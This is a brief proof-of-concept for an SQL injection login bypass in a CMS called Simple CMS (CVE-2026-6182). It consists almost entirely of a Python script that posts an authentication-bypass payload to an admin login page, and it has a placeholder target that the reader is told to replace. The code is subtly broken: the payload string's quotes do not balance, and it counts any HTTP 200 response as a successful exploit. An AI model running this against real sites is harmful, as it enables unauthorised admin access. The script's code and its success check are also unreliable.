CVE-2026-6182 Simple CMS登录SQL注入漏洞

import requests def exploit(url): """ Proof of Concept for CVE-2026-6182 Exploits SQL Injection in login.php User parameter """ target_url = f"{url}/web/admin/login.php" # Payload attempting to bypass login using SQL injection (e.g., ' OR '1'='1) # Adjust the payload based on the specific backend SQL query structure payload_data = { "User": "admin' OR '1'='1" --", "Password": "password" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check for successful login indicators (e.g., specific dashboard text, status code, cookies) if "dashboard" in response.text.lower() or response.status_code == 200: print("[+] Exploit successful! Potential login bypass.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target IP exploit(target)